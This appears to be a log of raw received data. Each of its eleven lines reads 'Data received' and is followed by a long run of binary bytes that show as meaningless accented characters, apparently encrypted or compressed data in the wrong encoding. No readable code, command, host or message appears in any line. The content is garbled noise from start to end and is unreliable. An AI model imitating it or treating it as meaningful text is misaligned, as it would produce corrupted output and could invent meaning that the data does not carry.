Data received	&½æ!ÜykîÐº¥>ÌÞe¾D QIò7ð#ýõeLê3ÛÆ-n{¡rInDòQD'Ëº9ídË«p±þ¿Wm6"ò©ÝòS,"ÌÁý×ðÕóßa9:ÛOII³c{=GM\|5Zâ«Zm¢+W»IîªÛ¤g¿HôoÒ»Oß°Ö GH´®¼kÌç³· ×î´Ou[Ãèãbq!±©"i8»âÒ5<_;zås+Iæðkü:UüI#ñêÀ¦G&E >´+¦â&ZÃ05ïî:9ãf¼½9$Ð-Öu{ ÈúSþ¿µÊvQéý®ÿGp¯BäÛG;Ô"i^h:HÓûr" >ìë×I=êe^?0^=ø4 \&¯Y)}"GÈÇÕñdcóçMHïîYîY×ØÓDÉX¯¡µÙÜj1Gb`õs:'±Ù(kVXê±Mß ½cæ\| úZ\|(ú¿£@Û´öP}eóouåçöw>`\ácÄÁ÷Ç¾ÂÃÇÐòÌ@PUA×EáBsu³m%{í í\ríS%]/Ä¾[74[Pm`ûz=J¹iÛU @¾#HòÇ4å ;B°×cÕYÐÑÞe\ýÀþT³¶®ÉR~»5:ØÀé!è:oB}+ç^Î+»ÇÎú 3ËTcAÂëa=~ÍäXèøaa%×½!nÊt)8(ñéÀº8>7çmÏZ²Wox®Êñµ?Å7@æyÜKmNÈc¨(¿åÞÂ¼KjvNY/Ö¤®ç£ÛZÂFÃÚÛWØhE4r¶Íw0,åË.Ä î ª$¤Ù{/ ¼¤ÇV%ã7C©½æSµ!!SèÅ9Fù6¶\Î r^º¹tóó'Ø@º[hÕsí9§Bî&f&/ÔÊ@½ØfoT_!Hu.R¡»i2@l´$Àüi!öÃ]vO@ÂuO}Á©Ïq3ÿÐ Í³½T%Ö§j[{Îê-ª¯µ`U³0ñº¹<ìyÁ `øµH¯`Oê;ÈQÊì·sü_Gë¢?ägöäÜRb>ªúÂ~,¤+©hØüèRãzï¼³ÅáúuFÇ~IÐ2Û¡hÞu9,Y]ÃÁ/û3ÂôÅØAg 3GÙT¶Þ¸?¯û¼¶aªhëD£LÎæÌ¬ÝIêÁ{ÔUeÙ%8rZhp`¸_©yF °_ë+´v U©gyeÏf¥XB!¬ÓQÿý¦-%NÇ[Þ½õ·ðÍ¬oÙ\õg¶Ó!zþµ¯µÃés4ìõdöx_Y_Ã]P4Ñyd²öMAÿZÄ+óæ<Õ1tàmCfôª¡/ºá[´:Í{NrjêüìÂVÝÈ[[AÙÏevÂ=]Ô\|qçîxTäÿAáöè«^é,ÏZ)÷ü*¡1I8Æ"2»¢Z¹\W`ÔíùÂ¶÷5ÞÇñtÆÐÙ¹äfF¸Ðè¬hÀ!Îµi^íÈsPeµ`ÿT«×fÏ2¨3k3Ùg1çl¡ç;=;$ZÒ¼ÅÊÀ=õQJÖ;yOü\|wÎ`f¡tòéQwý@3rÄíêÒ¿ÇEø¸Vµx8!÷ÄI§;Î\|X.·@¥ÅÂiº ·Syö
Data received	3R¯¸²rE'6Òv,B[«½3/J2Î&ÕnàÖÏ´Î ¦Ð/Á ¼Îe,V7 ¯:¥uiÜhoMJ>é1>?tS"üÖïë_2rî-%ªR >8@ï ^¿¶yÊ©>¿«=¹ Q¼¨-5I¥c19o9Ñü9l2Ý¨3xÄúdùGKoPdJ·¬};¾ kx'ÕÒ'½ G9i=5Lm¸N0"D=Kìcêt1ÓµâÚ¿<c±k¿îDP0zÈH)ÎÿÆ`Òl¯\Ë²GÌ ,Áw²cî<µÕ'ëæ°CñýÒßÿ%³ûQ¥L@ñÆ·øÕÒy·ÛÈð·þ´zZó=E¤ +Áÿ=îª,0«Oäþ#Çx ¨^P¸åõî ÅG@ÌÿcdÛ%Åàí?ëÜHÖ~Ý®bCÃJ¼øï¡BÌí]z¦7u±ÏîY}¿L z7êÎÆctLQÛÀ½ýX_Ü%Py)ÍÑpá¬WÜ¯ÆiÂ^>ë«ùòÆ>-g9È)Á{LåäUé¸á«VöTÅûn eÉ^®ÕX<WÅHÃþÊt©0Ä6µ]zE]â\|Ò}éCüØ'OÌ©â'fëÁ°Ìw ÷2:¤R2k¯Bæ\Ö`æhô¿l3)ï{Ì¥ù»Má¼òåµ!bº¸µaûÜK4:O;æ :á A#¢Lô§p¢.DUbÈ¯zê·ïvÅNÙø§&íbìy ñ×»± ç¼($ëîï®ezÿõ^xÜ²ýçªàFCP·ÿâU&MPTú'vàï>×gz xÐ7øhÛóWÿ1¡cO!ÝA 7-}~)]µÿ¡ÛÊ´MÀc¿þNx²T_þÑ£¦äÆF?)¤ív¥K´ÁÚ ²þññaõÿêxÎÃ7ëþØ·QLõlÃÙ7¦ >ÁÉtbFÚKO æ& ØF±ú,µ¬Æté×7?àF¿¿Z¥as3ý5¢ìÿV}ÍÉå4(2ãÊ¨ß¼VBÃK^©tá>PÌO¶yqÏÍ³HýU$ È;7âÙY%røKÒºûBÐo»Îä:¹6%¿"Ã¢¡²['WË:l\|æ÷(Öü³=¤cN§1B¯)ú #vçÂDdÊæð»ÐÞ¨ìÉ±å8»$ÄÌìö4cÜÖ¤Px1yËéä94¦8s« ÆÂL Ã¿R°VGbc~;gMnxº43\|H/C/;=³á ÿr,Àú¥yìà1öMÚÆ®®pÕ?«®MýUó úÇd!ät.KRR k3M¸¡rgÖf°²Àì¬X^ÓO³6l@ë´4 [ÎÙça^«êím?j+4>³¾ÐÑU«!Ýba z±-Ù¿W}§4îÃ\+ö2~Ó±Ëbìk>bå(~4¿Åð`í¢+uÏÎ-¦þ)ê/ö%SÕ¥l5¼Ù3¿ä4p1MÀU68&Ý½¹¼ UdIÐ q~@'Jñ«èTeXÒbä,ÊàÞèléñÍND¡=7ð:µ+9rCGàô6×w¼kÜßwx 2ì·¾\|w/K÷Ç'ýe¦ ^/WC%,!aE&¶
Data received	tðÃô¡¯Çhã/Ä¨,ÜÎí¡ê²FÍ¢qîdvlÏbðüW[[å&D)#ÚV.yã-~M:¼0ý2_6vé n÷ú«ÿÙ}30ÙlàSÈ²ÎI&Áh¹^g-+%A)¬ëRâ`\%ö¸ü±.K°#HÖAvïHtbÜ\|õîª6gSíTõì[åëz¼2õ`TÞ¶ÿÙt>4Y[0-\|Í Øe£mòCüUÈ!7\|bE5ÄãFÏÐóÙ'òt¨b°`c²ÿ g§w ñÙNVðo}U 3ýkÖ%ûØÃdhs7³àõ®ÿØ´¶Ñ÷ì®QÈ¦´¤1R&Å;øV\|£ªþf×é5ÌðS`ÄôY æ»ÃkÍÖÿAîm³vU®;!É3dÌ]íá5hú+ùÔ?gv´U¢º( £0pC$%Ëå`#U £öÍà¾c[^p^¬¤³ÜGFÿâî±%4¿S.6¾¬Y1\|¶©6B¥¼3Ú2òê"ïÛAøáÈS]À£¶®rc¬\ð° <]ÛK0p6yûB?2¢Å¾I4i¬¸è*¹þ ýÞ4¥6ÁB2Ðx'ä$µ(Db< Z/ÿ:gCk+¯á£¢ÛµåÛk3ÃR4&¼_ÞÉ]¡ttxB(8S2þsxþ¿²êÌ0?>ÊñÈZÚ¬t½ÁOsÖÅÒÕ08À@Ç¬&gë®ÔSLÙ3q$§a.ê5m©oö>3µ½7¡55Þ¶mÅ7ù®ÚvTìHÈÚ>~Kô<¨)Ì0sÆl"EÑXïN÷°:Æ½ 4/Ñ¹QR_A2qÙerï;lhN]®ú¢fêñøSÁNÇ'æÓÿÞÕ½Jmj¦¤j×µ+B¨/?UvbÙFtjæÌsåãÚ>õ\| pî Bö0×X6í3îoôUWÜä¶'©zUü]¦àt-(Õ+i§7ën»¢$r0÷=Y""=EvabÁwi7mëéÂí¶-ÙÊ>(Dó×Êýh±[· ½¤>+>o¦~à ¢½g£!ø\|×i¹¨7ÜùU¤¸eÊv\|f,}d]ÌqÐÚMÔhKÅSùEóâ§~¨ÆdÛÂÏNzâ ô\|¬ä!_]r¬<sûèG´]¿ÉcîåÍÞZZyQbWÒ´yT1ä\Êz«+øk%özá&Ïþ¦b¾m¸ëüöd]½Ü,û0ÊEÚòò&&qHÿÍßó±x7y¿ØÖ¡oÑ¸Yâ.E`úû¨Ñ[H«öÙ6;6;ÿëúq×ûàýg;Uí=ÿF]UÏÎÒ6«J¸jnìWyZcÁ!(¨/1òÐ° j4ÁÉ7þ¯I1\;>o»¬Õµïðú$l×îJ0Vmk&jbõ«dEtRÚ\|íyì³©yÍÆ¸iÇÕJ¡Z{OÆ&Gy¨öÀÜ³dZ]çüd¢Îãi¡ÌêúCj/±ºëä¼¦^ãz5ÞòÃöa±üþw1p;õ_ðÒýèi4ñÂ{ï¬:çhMø÷ãìÏ©;óôÕvà§?²;êeI¤p\¯Í6N>ÝçJ¹â7XF:véG
Data received	1MÄ\|ïù8ÎæR!ëéÏÂÊÑÝðñÌá7×Nü×26WÿVR°!?¹31¯dD¤þU¿×%¾¶W`ë[;Yñ@ùtdÞì¼ÿl"3\|q3²Âve;\ÛbVn;ÙxGÓ´ 6~/¢Íñ~üb·ôR ÉËPLê cª\|Ä@»xª"5±ùMdâE.W7y)] ÖÑÍ¤Ö3¡ÀÊr×o øåû-ìlr\ÕïÚÇ¾iÆz ð.nÂS?K¸l¦®ý)¸²ÙY[×Ãß'} Ð3ÂuÔ3¾©ÔR~¢÷ÍväOG~úëEÚ:¡1mCPéÄyòKbû°sñÛÙ÷2àqM_¤i,øÝ·cê°W.&Z 8?CÒn«f¸ 5Ù-Úpvce¿zÅ±õÇ£h 9Ü#Á£O²I¾.æªÐÓÜ4ÙÕ´ ]½?sÿ&Ó$o¢AHäQ÷HäYYC$}þÎÌõ¶7ÐûÂúoèª_ÎÑ?ßæ¾«Óî,õ^hÃª×oöýSä¿3ÅZZ:M$³{¨ Bÿc£PµIáÿIÀm§Sd=¦%Ïj¨:AGØÌáf`èg¦}·þ®ñQÆ_AlÃ(ÝM± +ëPò¹B÷NrÅaâîU=}õðk'äùAÀýípN> Bï³åNX&¾§òh'pÆ\|`1x%\|·]= =@dö£°L>iÓ2ê0aÏÕx!G©w'_Åv30OeCù¬Y¨µÒ¹:Ðr¢µVë-éÒDfNÁ.aøFäC!æX×°¶<\|Èúì¶Âã°+Ü&ì>=ÞlmØksZs¸×SÝ¸8NµñÃsQDtúTµÝ~á¦)Òu~]?%$Jj2Y^RÈ©¸êSüáÐgÎÛql}o(l1ßxt_Ej½0¨ðï²^·VePH¡Ü¬+j¯Rpý=>eÉÝR9É:È¹6'´Ñ°qÔJ¶§Á0G¹p( h¶µRî£ôÂ¸>¶$F4ï!ôsàËR@"º3åÎ£»«½J²´õ«èZDçt.»º2ÉÆÌ½ù\|pø:Dtaæ«$ÀÉU¢$½zº13 ¼»_n xo¹§iFþa-:Âòñ[w»\|E8Lrb¯tÛ"×xÚxöPZë'í+>Ü¶ZÁ)VkP}vPô^µQMX1OàÍéuÐmÞ"ìæàù X×ã0¬Àh'Êë2ÈÌ S¼<4V¦\|9]T©º7ÄXÔ#^Ãkü¼H ô³w(éte@%Ô¿,:ßJï]%¸ÅÝLa<SQ</è{JðÚÌ¡tÅ^ë@ÁÙRÄþïí9à<×ÇßR7´Àwó/Ï½Yd}wÇÎÌAQÒ*MþCçBÛñB%¯~äãáª´hpl¬â)õ#(iû£³Ø4HÉ]Ä¹³î¶W6CÅJUaé¿§ó4ñ\fÎB[Â\ì9S1ü{r0Eø¤"!Î\hõxàÿÎ¤Ôôï3¥<Q3(jhTH±òìdâûéO{;oäµ!9ü²¾å
Data received	àCþËaj\¦ÓÕem$©_öÇ1ôÿaxÔaÿî?ö¶ùAÍBñäJM ×"E´ 3³T±ðWnÂsyÌÈ&ÛÊ5ú,Å~.3ÖÇ#Ú¦{3Â >@ ½ôHÐpðþ»â¡%ï/s};CëZÒ®¹vD¯ÒNìpy¾Ó3»ªÇ3b;Z¯^i÷·8V¤@ÀöPæ)!h³íàß^C¼;¸ÓÒ ÎäôÌ¹dò¤î'ÒÔ3h÷W8Ã³&bØ÷ÿå ôTY`²Ûm1Ö¢¨¼y×[ Iÿd§æJqeºH!ka3»ªcu5,a?sôsu`uÞ?©8Z×b Î¤Ù¼hdÂ ãØ¥9ôLÊ6Ý£´ðgêe½Ð°Ì74[]Vê¡Î _5¬ÙA ©ãhèí¶ûtf9âJ31úRìÄþ®1 yÔµ#ÒAÝ¥_ÌýÇA ;ÏÅ,§¯>¸?Î5èÀÿæ'ø{eí!µU1Öb7W}M¬°±-9ºâ£oú§1aÞ¾ÊR( ÆA]3wÃäàÚEHy»VûL¯AKSè#%»][£.Ñ7ò Mø³ F"j×ðeµ¹·}°ÇëGIýîëo¦V ]Ò²ÔGÑ :z ¸`>È"H¥cÆ ñl,QÏä;qÌÏÂ¯u^e Í¹B`à ×»;üÔÆ½ ¼\Aúd·¬J¾Ã±Sé\|½çVµ!1GSð;T3_ßc¬:¾9ß2v^7[o½<óÒvÚhüþ]íTØ:¡IXpçÍ?þtfØÂ²¬L®ÑªLdH7»È åàºÙ #øÐÜ\º÷Sæv Â·Óeqó>/«j+\Âùõ¦FR÷)ºhà1µ¿# ®&X£sÊIòW±ºGUBëæ5°,nY¥\|wíÁ3vßÞôþß£ikÂLðHh5b× 9ËjÀàçðû¨?$±ËÄ,V¢51 ð³-©c, Í°¶c2,¹ôÝó-f¿C/Üá(³O}jÜ¬öñvP6ÅÊpëÕ.¥7ßÂÉ)øhÛÕC{ØÌÜî`¦QB=úÉ:D¨>é³{"pà1Éãþüf¾o©ëÒ÷¢u¬òg¶ÆúÈBz÷TÌÜãLtÈÔí;I«©T"öÆ5"¶Z48¸.<bÝ«ÞÓÁËR§ ÜLF^p±1ÜÙÄ´[]æ½Çëpy[15jjx~ÿËÑ¨sF¿}EÚÓì¨ukAi$øÜgÍhÞûGª´ã\Á¦yØì]D_r82¶`dÉ*·Fæ"J5áB<,"èüªwG^v\|Ûª¾MèøÔ×ÞÕéJ9¤ÇXm>3u%ÂÉTÖ¬,nÉÚv5aIÄ¬ß ~Å][Lyä!ã§©ýÂ}É]ªñ²V:d²o-sÔKçäZ¡SÃ!ò~¹M vR:÷æÚÚmâ¯æÌC¤Ç)Ï¸ÀÅDzmWÙ¯\U)÷_tV¶/:Úú« £µ2©EcGkNkõå»¼8XRØ'>³¡ÐnJ½(4Ùnhêè°R
Data received	-Ü¬´Sá^×X>¤ Ç\°ÿN>:Hõ =NÅ!NJðd5 "ãüh` ¬-Æ°Àªà1¾'!§È[ §? ^MÉ`(j UÈlL9 ,<õv/\|Xú>¬zýLòpÊ )Rdböìôu ?c{Q#hEW6YK«KÕÛý¯ÜóÜ¶Ô.FÒ¸/UïªÍ³àAjI-ÒcMoEIEVJ3b]KÀ¨øãèWÖfÞþ}Dp>oÉôMüÁDÍá5p¸ÊÙ'¦4Ï?ñèÓÞëà±WenIP¦âNÏée_\P®ÁG)LHÉ cR"à+ÔóäY«``H¶².É¦¨ý¹.^b2¤{ùoÀW!ÖY ö}< rIÅ[âëÝõbºó3rñ;%ÌµÈSnÚºi´\Rì³æ>G\²t<3\|]¹\ËRìr2~öFû¤wÔÁåÜZ%r60gµÑ7ÎüsÛûÉáO-XC-n5Á¸ ê)Øì×ÅêcèÐêð³Uº`è¦Kö¤ø(¼RÈÔ+/7èZ$à &/N¡"gÕÄjöb¡0E×¨6EðÁß-eþJÂ !\ tP¥È»bL¦MúmÖ-Ô~î»[O!Säÿ#óÑ½QÅÙ#HCà§âjrE§ÚÝö?\'Ú@_î»¸N¡9BÃáyñ¾ðüáq©d¨>TÇ<¤Ë8Ahuúä¤ÅIîÕÓW)&}(Áfæ ã©>, æQ<Î2ç¸à;=ñKyé_«ÏCTMèÚ2[å©²¬¤Ìx:}eæeë`î}I <`>â\|g¸^zrÙ¬§°5-øp:@5I[îæÛ%¤ì´$o(h³Ê¾DöyÁúLÙ¬?n/É>v.zn;1?×sY9wïa.Dh®<;`Je6¥{¨ük-²"!\|u¶d¯y ®õ ¥®ÔènñóPhÈ~a»ÀLWtniwG¿QWÙ%±_ãáÚÿöïRó"MÂ1³Äç÷ý@5VÀôËõB'®v£4M+iÑ×3¿ØÐBï{ïSYbuubGÆ.q²@=Ü×ØÇ-å~Þ²í¦®òýM9ÑTr9Åý#VºDótø«ì,n¨LÑm45N&r£jÁ.ÔÕòº[#j ±øçÊº}·ºôRgÉO!;¦ui@Qþ³ÉèÉTHk£DqºÀþüvMKKÖ¸ÞÓSÀÄuf~Ý«§>ËÏÉ+'ómÞ ßov3#øíuKë¦Fü×xäÕÔ§¦ZT×_ìùàO-°xÅ¯ê<Cl_Ã~þih_Tg:ß{E'É%¢¹À#ÄµG!ÌF/¹Äô{Áähè7;Æ j\|êvëö ÃïÓ¿\|;ácÄcþXF ÞEÓÜjÖ,)7pÀø )±ìòJ¸6}6èpÈZ(püÍïjrÜU²g CE@Æ,àpG<«Ü2+ÖT{+Á>¶(1ëJþÛ² »{y5ShwçÊô,À³±ÄW/*y?ÿ¼ÿæÂ ªès·ÑLê!êvÁæ]Á¾
Data received	pw°!\\|]¨ë´'#Ó¼£@v1EPÇV,¸³nÃ¾>4ÒLû Ý åjð{½GL«z Pb«¿½©Ìg>FmÖ® p ³W¸¤¥»Åó&õÉA¼Â½Ó÷L\|!-ûÏTP³+È`·¯ áÌ2?`m0M=. %ÓP¡à=ÒÜæÒÎ<öýûqr"ní%ÞìÍÈÙx5cÉÿxnnéïå§àÍR¨Û]7B¬l¹}¾<[ð³\|½Â¹ ±WOÖ&ÓàÎÐ¾¦¼Oö"µ/ÊØ{ÄÜ'íiÈ¦Ukþõ«¼Êºÿ¾x?=å÷Ó¼©xèØïÀ¼-±1ª',l#ðV-Há(ä\|å> Ü6^)RxÃþdo~,&ÍÖðñÀ4 µÄ+» Õ¨< ä5 XáÂÊA)h5\ÀêÂ5+è«ÚhÅ2godìmÖ®¬ÃåÊS©×Ð9WQü.¯·N¹eè¸2îæãð©¼ÙCÐOeÜl)ô+Ñ9UÂÇÔoq°b6Æv¸Çg®z¶(«oî-G ÀÕX¬Ã¯<êJpAÍ-$©UäGMÒÍá5EáSÌKÉFñQÎXIê÷¶V1TÆ6Ý÷¿zÕÛwr3l³T ôR[ÉmÚzçÀÑíæRÆ.©Æ¦èÿîE·ôµ_58zpFªíÇ9ø!KÜ cïÒ@Çæfâ¿97»Ìõ¨ø¬úQ,æNµäë àl8½1ié[çØç9c©ø]pæÀÑÍÝL´òÚåXéË:ó[@:¡E ?øáèúR8<°Õ/w85u×EåH·')T²©¾d¶.¢btÏWxfÛ»IÒ²lMòñ¾Z5Ú¤ü#AÍÜaûë4úZ[o pÐG16ÕÛûíà½_®ìÅÅ^«ë \¥z}ÂÀ¸g273]ÅÜìíl:¤Ýÿ5S?M'ÎjÌ-Q¨¨=°¶åú®Z.í:¡Xò´qwoS:@}JÐÚü}¢·zLÖýg ô°Ð?sßóÒ¸;d¹Jðê.l,hÅòúÌ(¬,çDþÈAõn±LÁ£Zàu£ð'g+XÃÚ~ptÅùe!bæÿ~¢~ÈÂe¤Àk: @µ¬C©EsºOÍsHQ¾[àéoÌ-£å þo&alâÁÆÀÝÊ.ÒÝÎÕvÈg¶az N§êk!«h³ð0ÙálPßìALû&j{5+Æ]RÜNiêSãg:½ZOyÜGxöõ´ntÿ÷T¯óÚ<Yêr¢üÏSü+ÞíñÉô¦àñðbâD] ðEËå>82s¥¶æÔïÊføç^agí\bãW¡åvÝSF3ðxÅ%ña3ÂêµÒ>bzÔ-rþä¬_ø~ÚJ¸;ìtñI éD:¾ýÅ¸TÂqÕw6¢ú¬¿ÂÃLöIÛ MÕC©Ç¹ó½JOR#¬Ø ô7è÷ é«ÏâYZ¶¯5Æn^>3xwtUòxgÿHd¿±7+1¼ñÎÇègÄòIdY[ªshóy«>àÉ!'p%Cå v=aèôêÈØMz¡¾Ån è.Ò_¾í ~
Data received	9ÎÓ/9Ë:üPo½ÙRºhb@ý[0Êd_à¼814eH.cÄ3ÛÔ3ÛQ²Vg`éz ÓóÐ~õ1ösI/4ÌQ ÃRÇ¯÷; ³ÃÒR>bMàó$~Èá{Xð© «æ8¤XÝeV¶0TôGÛÁj ö½Åë¦´ÌÔL°t¥R1j+#~8GÌ'`âmnÊåÂ´!ë&Ñðâ\|¬DJRgN.("v¡[û\|N2Æ¿)¨P±ßX9mlJÛ=½À;ni#¬¶2ecÑÙhg{Èf¹K GàÂ9#SHnéT¹ä@IK¡ÅªñAw<I3Tõø¢æç~aÝýÄM»^ñ¶CÉÂª©õÁx¶þ^Z»HÀòý:OqX S áÕUyÉ¼³·×ÙlËn3S´-011B¬²£{pÝÝ£ý¯«í¤"Ì7ÂÀ,Þ k+[¤oqWVÃ§U·1á]ñÈ½P¾R¸£ta¶?ù¥ éR[»%(Áõ=Võt¦I?ïÐ óbæËçÀ/hKT1Ü¢ëÙ4èHsM3XCùCd1Í8å[Ù>ä1XºÖY ·Öp¤G¢mÄRhVPà£ß@# 10YJuÁ(Ú¢EõòdðÙË ATjq_ÏN@ió@LúÊÍÅfb7QÆUÉ{t"ö®Ø ZOÞ [©ä^ÜÙÇ>úí÷=Ñ§Næ9&Êí-²Ã'vyöæÔòAä/5@'m÷ÿJÚVdÉgÇOæ,^B¤Óyªpºä²H;I ¼w1FX·&\óÌ¡GíËJ-ªOaµ>ëÙªÊdBÿþG÷Ç1µó'±Ú$2Â`_:òð]öõ'äûîb«Ì"#¼3Õ)¢xKnÍ\|yÝ<ÈÜ\|öEÆ¶à2 ËUû¹DÌÈl\|ÀÅ½¼Úv2Üe%ìyü×óÈR®ÂÒ®$¯jJdÔ Y.¢Zt°Â7 cv®<6fNÛ:ã)dW¯Äö){YÐ`i.ç[q½Kîÿüÿ¿P6Ù¦È<µñ<%Ó\|qÎ/qgòtJ®àGÄ®%zÚÄm°bò)ìÅz§à9Ã!ÓF)õ¼3»ÐAáèB%+1óZY'Ö±0554±mhöõÂE_æ®ÑÀô£¼ÀÎ08K»ãWçé:%hÊç9e]½áI^Eø«ëí n]"?¤Î>L+³úÄ¶ R÷Í3ÐQÙ½{%NG¼~¡&{ºeú£yñ- 0qzÙMäxÖ §×ÅÆO¸_é^îÒ8éí÷«Iò©S©ý FÕ«ç#U%SîØXÒa:Ä]XWÂãíV~÷imSwxdmZ¡¥¹ Þ?'û¼Ö,6·R^±Þ_´ë@õ î4¯]Ü@B;Um¤:!Ë)gdyÜ6ÇuyI.L8ÒÑ{ÀV×7¤B©ý»v6FðL÷±ñ>»]êë_ _=1µ£]F ú¾ÕÎüûõ¹âÐm:«Xý"¦ s$>¬§õÎ/ÿ=êaì¡¨júrÓ7Üãª»9èY)pJ\Ñ¹5£áÅå¨æ,9î¸Åí58ÎS$ð±µ¼Ìzä¶°ÊÜ`E¯ô°ï¦ùd\|Ìb`õÉ=5
Data received	Uñó¶ÖG¢þFç·µî¿ÎC\Qh[ÒzäKZ ´Q¼ª°ó?ÒnÉÌ£ÉLN¨Æ¿èàl£ô©«ÁîüÌQþ`'JÍè(ÚçøJOÂé]fìx°Üïè)÷%ã´"Fº,ÑýØ,fú0xGÔ¼Q¦IPÆÛâ²@/b'©W«jÑÓ:¥¯Û¬11-´UIx½l\|%eíõZ6¿pY5í5âÈ»?ÞHÐü%e 'ëòÚ²Y{ÿj5ß¢Ðß©<ªógÔqãÔsèÈ=xuóÛ±Ü=o'Yê2¶ÒU:üÔúºù¶OAm&§¶½M´Ýc9¤1¯t¤R©íp8"úÑ%F»¾´ßÔøGÂÇ½bóÈÖ{&3±´-ýmF9BÐ,ZâîåÆO«õ½¼üÚ'¦x ßõEv½=¢Ðù6 ùB.ÊÍqxÈ?"ÎäD%¡öv=!õ7î `±PiææLo¹¥·+Âß>_I´Ê°b»ÖJ¹ø {/¬uÖçìc4üÉÇºNY}`×¯GqÜ T^U·ªEX]>ðOMÞ¢õÞ£Hyñ_@h'° êâÕ¦]h»Å{p~Ûõ³² +£ÒGìÎ7DÙÞ¸ËÚ5Ôz8/1ìTç¥Z1)Ò´8©1'±ÀWñT¡öÙyQÊÍ-.ðÅ^CæßÁe%_×ì ãnJ2uMòÛ,÷`êrßÈb¯V/§ÿÜ=õLÒ[Ö{5¯±Bþ~w0é9wÍ &xj+¡Û$s@éèæM°Í½^ÿößÜqQZ+8¢é0s¶ããê©U¥Yé C#gSü~SVf·¢ÊrÀþRÔa°ÿ-<m çm-ìºe-ûF{ àÅw¾'åK]ãu©ûG·ÛKnõÓ¨g}a@=ãSù4Àó`:Y(âLØæcÙ«GÁ8¯» û¨gáI+¨¦÷Ô\ÜØ+ûUà^¬ß,å:í°áO£¸¾ä©Ïi»hQo_ñNO¿ÿvá}hçeôbâìªòÙ}dÜÿRÕ¯¨Ê'mfêöd#Ââj_WÒUcè51¿÷ïa\\IS?âG,À â$ç¡¹ªôQþK±ÓÀ¯9êhTtºC6nx_<¼öþßê¤õU,Èý~¤O\ßÙõÅíd!¨£ Æ3/õ«¤1à10ht]eØ}»uÿË»KGÈYçK¡r CW«øºm®Æ}ÐêÀ!©9gÆè[ô«~^(£Ç#w°Åÿø¢Óè³\rAÅû²r&¾l¦Ô¹K¸¡d1óøBOuÿ¢M©D'`[8/ßör,ãÀÚ '¬¨zÐ!0RNÓ7j%!XÄ:0Vþ¿=Þ94yW4 pp7v£[OÄÂH¤I\| Ô]g,-xzøX9´¸4?º.dRä°ÜB;ZÚ±HsLÛÈãk ?qá-×ü`àûqÖ uJW×.»Eç¦ã°v¼"bk¥ô`¯Ö°o=1.æÙìÿ§S<ñ1ãK¤kûµÌ¼¢sÒ2Nl"rféºá9úÃ#È%ÜÑæ¤»q,I¥rÆYv¾é®XÙ©Ñ 7æÄ¾$É
Data received	!óÞ2"Æº~/Û;¥îEÉõ Wt»q×;6S2àå9i5á¹P¯æqpÔØØÎY%@ÝRð½qîãc¶lÂïËÎí £!þF?¦¿8ºÑ½R´ô2§3úbj¥¦v¯åTÆzA5ì:§r²Ä'n[æj^éØ¤Õ°L$Ö&·1`hzÃöÕ I(ï_&¨g'þQ2ËRü:u%ÉÔIAÂ%³ 4éÛ(íëüì ¢$Æ+sBp#¯Bô¹q¤(ðçO¤ÈT¢o gÒýQy¾t£ÄgÝî®ìÚoª8VdôÀ#o³Ö;6@ÄhñµÎq¸u,Âú(ëXEsYÓqvÐ^/;µ0^þHg·ðX(Ð¡tòïþáoB¸Ê{)µ¯:ïÏ\|T~ O¶ivoãá©UsDLÌA:m}ë£ÉÈËDÄickSíC¼ëØ±µâNKÄ@÷6»äæ:gÎÝ£à\|äJ9Ý¨/ñÝúê6j:AÐw]·obùÏ'OðrßæH¤ Ui\[-¶T¬a+}á ¥U-ÞØ^D0/ÊJß2MCÁçAÛ¼nU¡ñÐ` Hx¤ßBZbQ¯1öÇjfëzr¯¢Õ>G(;ÖÊ)ü'BÉmwÐZ:¥{ÒS]¿#S&ÿæÖö>VºW®"=ÌûñøE´iÍé çk6¤Ñ,ªñØÎÐU÷FGçµ_´Öã+2g¶ÔÏü/EArºÓÞ#ÉBN_®7¨zeGDzo/ò¹Î2³J]N/0¸ôãÖw.À~²¿v)i]Ô£TìÙL&<¸É#©11wvDÑ_ö!BlÆ¼%¸Î¶ÍÝÆ ÞÙ $ÑqØ¡¢!H+-@Ñ%§H¸ü:·¶¬Il¤Ñ¢#7?Em}dYuÕ´¤Þ©ÝütSçF<9w²-â)®ÝHÝ³ ÞÐr¹â1÷¦ÇbAék²Äý\x[ù«´è,Ã·$uL¨Û\?ûÛhæl;DÁuó57ô<HÛmv&ÙÊô¯ÈÜÌHSîc¥§M`¸QLøñ»=DNydÈ%Sd¨z}+¹«TÝÿ)ècyE;SðW0º¶Ù©jÂnÝM~8OÉþ¢^³p¥æmÏíVÂ TGLþ íW(\ W)R¢×T¥-á p_ñ¥H¬- §¬gÙ£"±^½!buX~;X3³?æº-q u2üÅ5ÒÞ(_·R~«âºæ:¡x²¼äzRäoZ!Ã\|Öì¯åþuõVrA"aÛ,Íðô ¡Û}}ª0vÅK_øéÏiÝ»À&K'x¢n2AÐDñÿBïR8´¬³Æ¯¦ôöß\<§;7?9~ÜáYýÑr¶Ó£vn^82¶H0a²ª÷?ldÊ,nÊ³ìrÇ]÷ñý=VêÚ¢Ó èñdÌÁ{\|ÖÎÕâV®×F±Ö;Ú.Ãmi!ÞÎBsãR1¯B¢{º8ñs'ÛÊ2Ø_AÁU!F§pv¬Æ4´ ±SÖmB$\Ì©ÀæÌJ´ðB¹Ç>2Áµ&ÑÈÌ
Data received	I-Ëoæ¸r3Å[21tNÙbàeÅÆW þ¼DÆÔSÎ¹\ö()Ý©T lÍ1bêÃ¾±ìp ÄYBiaÀÇU®mwm/öO1 )UÒ4Î¤³-óUTÏdI¤óÕÑ²L~ã6#ö¼(»òD¼§J@0%ý§jþ©H]W·FCFéOÉ"è½ûÀ%Ù<Øqé`ì¾¨WòîÃÖöãù¶àqD"þ`¹K¦¿D¢k@¾"HÁv!7!Â~ë ¨ÑÒ×¦4Cëï¼ààzà^ÀRõÚ('d4E`È-Bù¢Û»âé¨þ<gþá³CYYÃæMæ¥6×Llï\|m·Ì-[67½óâ7ª¾g¦q^;µË^¾àçç«g$^XÈÃ{7MBK2éõÁJ¾BÓtÈ#C;kË´ØÝÜùrÄÇ¶üÃK¢ôçâÍÞP0UÛàéú]2ùþ{yòÒVkèHyég<@(½èZÝ I>ú¢KR¡XABÒç®Éåx?ÜàÌC#Yÿ¶ÆêW©"aê¿&ÃèÙÇ0(ÕRhÙì¶2n<iäw¡Àö¾"ÃÙ8V©(\|ÛuÐîïõN`gíN}(?ª¤` x3o¹ñ%¶BØpÜ=S~Tp~}¥æYl¶7Æª(êr½£ãyýrÓÑ1O\|ÿ\|3\QEÿÞ$kº¡tÝ9wQM SÚï"<<¶ôÛÐO]3ùp/]3RÁ"1D/Í&K¾LÖA°°ß¦·Õ9%ô»~ëµ¿øïPÃdK"$rfq 